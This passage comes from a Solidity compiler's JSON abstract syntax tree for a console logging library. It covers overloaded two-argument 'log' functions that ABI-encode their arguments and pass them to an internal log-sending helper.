\"log(string,uint)\""},"value":"log(string,uint)"},{"id":16375,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16366,"src":"6672:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16376,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16368,"src":"6676:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9710a9d00d210736b1ce918b483e56000e2885769da8118b2fbf9fe33949d3bd","typeString":"literal_string \"log(string,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16372,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6628:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16373,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6632:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6628:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16377,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6628:51:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16371,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6612:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16378,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6612:68:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16379,"nodeType":"ExpressionStatement","src":"6612:68:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6557:3:14","parameters":{"id":16369,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16366,"mutability":"mutable","name":"p0","nameLocation":"6575:2:14","nodeType":"VariableDeclaration","scope":16381,"src":"6561:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16365,"name":"string","nodeType":"ElementaryTypeName","src":"6561:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16368,"mutability":"mutable","name":"p1","nameLocation":"6584:2:14","nodeType":"VariableDeclaration","scope":16381,"src":"6579:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16367,"name":"uint","nodeType":"ElementaryTypeName","src":"6579:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6560:27:14"},"returnParameters":{"id":16370,"nodeType":"ParameterList","parameters":[],"src":"6602:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16398,"nodeType":"FunctionDefinition","src":"6693:150:14","nodes":[],"body":{"id":16397,"nodeType":"Block","src":"6756:87:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e6729","id":16391,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6806:20:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},"value":"log(string,string)"},{"id":16392,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16383,"src":"6828:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16393,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16385,"src":"6832:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16389,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6782:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16390,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6786:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6782:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16394,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6782:53:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16388,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6766:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16395,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6766:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16396,"nodeType":"ExpressionStatement","src":"6766:70:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6702:3:14","parameters":{"id":16386,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16383,"mutability":"mutable","name":"p0","nameLocation":"6720:2:14","nodeType":"VariableDeclaration","scope":16398,"src":"6706:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16382,"name":"string","nodeType":"ElementaryTypeName","src":"6706:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16385,"mutability":"mutable","name":"p1","nameLocation":"6738:2:14","nodeType":"VariableDeclaration","scope":16398,"src":"6724:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16384,"name":"string","nodeType":"ElementaryTypeName","src":"6724:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6705:36:14"},"returnParameters":{"id":16387,"nodeType":"ParameterList","parameters":[],"src":"6756:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16415,"nodeType":"FunctionDefinition","src":"6849:139:14","nodes":[],"body":{"id":16414,"nodeType":"Block","src":"6903:85:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c29","id":16408,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6953:18:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c3b556354c088fbb43886eb83c2a04bc7089663f964d22be308197a236f5b870","typeString":"literal_string \"log(string,bool)\""},"value":"log(string,bool)"},{"id":16409,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16400,"src":"6973:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16410,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16402,"src":"6977:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c3b556354c088fbb43886eb83c2a04bc7089663f964d22be308197a236f5b870","typeString":"literal_string \"log(string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16406,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6929:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16407,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6933:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"6929:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6929:51:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16405,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"6913:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16412,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6913:68:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16413,"nodeType":"ExpressionStatement","src":"6913:68:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"6858:3:14","parameters":{"id":16403,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16400,"mutability":"mutable","name":"p0","nameLocation":"6876:2:14","nodeType":"VariableDeclaration","scope":16415,"src":"6862:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16399,"name":"string","nodeType":"ElementaryTypeName","src":"6862:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16402,"mutability":"mutable","name":"p1","nameLocation":"6885:2:14","nodeType":"VariableDeclaration","scope":16415,"src":"6880:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16401,"name":"bool","nodeType":"ElementaryTypeName","src":"6880:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6861:27:14"},"returnParameters":{"id":16404,"nodeType":"ParameterList","parameters":[],"src":"6903:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16432,"nodeType":"FunctionDefinition","src":"6994:145:14","nodes":[],"body":{"id":16431,"nodeType":"Block","src":"7051:88:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c6164647265737329","id":16425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7101:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_319af333460570a1937bf195dd33445c0d0951c59127da6f1f038b9fdce3fd72","typeString":"literal_string \"log(string,address)\""},"value":"log(string,address)"},{"id":16426,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16417,"src":"7124:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":16427,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16419,"src":"7128:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_319af333460570a1937bf195dd33445c0d0951c59127da6f1f038b9fdce3fd72","typeString":"literal_string \"log(string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16423,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7077:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7081:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7077:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16428,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7077:54:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16422,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7061:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16429,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7061:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16430,"nodeType":"ExpressionStatement","src":"7061:71:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7003:3:14","parameters":{"id":16420,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16417,"mutability":"mutable","name":"p0","nameLocation":"7021:2:14","nodeType":"VariableDeclaration","scope":16432,"src":"7007:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16416,"name":"string","nodeType":"ElementaryTypeName","src":"7007:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":16419,"mutability":"mutable","name":"p1","nameLocation":"7033:2:14","nodeType":"VariableDeclaration","scope":16432,"src":"7025:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":16418,"name":"address","nodeType":"ElementaryTypeName","src":"7025:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7006:30:14"},"returnParameters":{"id":16421,"nodeType":"ParameterList","parameters":[],"src":"7051:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16449,"nodeType":"FunctionDefinition","src":"7145:128:14","nodes":[],"body":{"id":16448,"nodeType":"Block","src":"7190:83:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e7429","id":16442,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7240:16:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_364b6a921e139cbe48176ce2b1f6700c7e568330bc5da26f60350cc33cf2a299","typeString":"literal_string \"log(bool,uint)\""},"value":"log(bool,uint)"},{"id":16443,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16434,"src":"7258:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16444,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16436,"src":"7262:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_364b6a921e139cbe48176ce2b1f6700c7e568330bc5da26f60350cc33cf2a299","typeString":"literal_string \"log(bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":16440,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7216:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16441,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7220:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7216:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7216:49:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16439,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7200:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16446,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7200:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16447,"nodeType":"ExpressionStatement","src":"7200:66:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7154:3:14","parameters":{"id":16437,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16434,"mutability":"mutable","name":"p0","nameLocation":"7163:2:14","nodeType":"VariableDeclaration","scope":16449,"src":"7158:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16433,"name":"bool","nodeType":"ElementaryTypeName","src":"7158:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16436,"mutability":"mutable","name":"p1","nameLocation":"7172:2:14","nodeType":"VariableDeclaration","scope":16449,"src":"7167:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":16435,"name":"uint","nodeType":"ElementaryTypeName","src":"7167:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7157:18:14"},"returnParameters":{"id":16438,"nodeType":"ParameterList","parameters":[],"src":"7190:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16466,"nodeType":"FunctionDefinition","src":"7279:139:14","nodes":[],"body":{"id":16465,"nodeType":"Block","src":"7333:85:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e6729","id":16459,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7383:18:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8feac5256a5b88d7ca0173065b796567ecbc9d75ec022fa0f044eb427f962b84","typeString":"literal_string \"log(bool,string)\""},"value":"log(bool,string)"},{"id":16460,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16451,"src":"7403:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16461,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16453,"src":"7407:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8feac5256a5b88d7ca0173065b796567ecbc9d75ec022fa0f044eb427f962b84","typeString":"literal_string \"log(bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":16457,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7359:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16458,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7363:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7359:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16462,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7359:51:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16456,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7343:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16463,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7343:68:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16464,"nodeType":"ExpressionStatement","src":"7343:68:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7288:3:14","parameters":{"id":16454,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16451,"mutability":"mutable","name":"p0","nameLocation":"7297:2:14","nodeType":"VariableDeclaration","scope":16466,"src":"7292:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16450,"name":"bool","nodeType":"ElementaryTypeName","src":"7292:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16453,"mutability":"mutable","name":"p1","nameLocation":"7315:2:14","nodeType":"VariableDeclaration","scope":16466,"src":"7301:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":16452,"name":"string","nodeType":"ElementaryTypeName","src":"7301:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7291:27:14"},"returnParameters":{"id":16455,"nodeType":"ParameterList","parameters":[],"src":"7333:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16483,"nodeType":"FunctionDefinition","src":"7424:128:14","nodes":[],"body":{"id":16482,"nodeType":"Block","src":"7469:83:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c29","id":16476,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7519:16:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2a110e83227fbe26ff7524076f2091da3e9aa01d70b93677da53b41d22f4fb15","typeString":"literal_string \"log(bool,bool)\""},"value":"log(bool,bool)"},{"id":16477,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16468,"src":"7537:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16478,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16470,"src":"7541:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2a110e83227fbe26ff7524076f2091da3e9aa01d70b93677da53b41d22f4fb15","typeString":"literal_string \"log(bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":16474,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7495:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16475,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7499:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7495:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7495:49:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":16473,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"7479:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":16480,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7479:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":16481,"nodeType":"ExpressionStatement","src":"7479:66:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7433:3:14","parameters":{"id":16471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":16468,"mutability":"mutable","name":"p0","nameLocation":"7442:2:14","nodeType":"VariableDeclaration","scope":16483,"src":"7437:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16467,"name":"bool","nodeType":"ElementaryTypeName","src":"7437:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":16470,"mutability":"mutable","name":"p1","nameLocation":"7451:2:14","nodeType":"VariableDeclaration","scope":16483,"src":"7446:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":16469,"name":"bool","nodeType":"ElementaryTypeName","src":"7446:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7436:18:14"},"returnParameters":{"id":16472,"nodeType":"ParameterList","parameters":[],"src":"7469:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":16500,"nodeType":"FunctionDefinition","src":"7558:134:14","nodes":[],"body":{"id":16499,"nodeType":"Block","src":"7606:86:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c6164647265737329","id":16493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7656:19:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_853c4849443241e2249adafa4f69c8bb738b0f17c7a0a9d9997450cd71db4d55","typeString":"literal_string \"log(bool,address)\""},"value":"log(bool,address)"},{"id":16494,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16485,"src":"7677:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":16495,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":16487,"src":"7681:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_853c4849443241e2249adafa4f69c8bb738b0f17c7a0a9d9997450cd71db4d55","typeString":"literal_string \"log(bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":16491,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7632:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":16492,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7636:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7632:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":16496,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7632:52:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 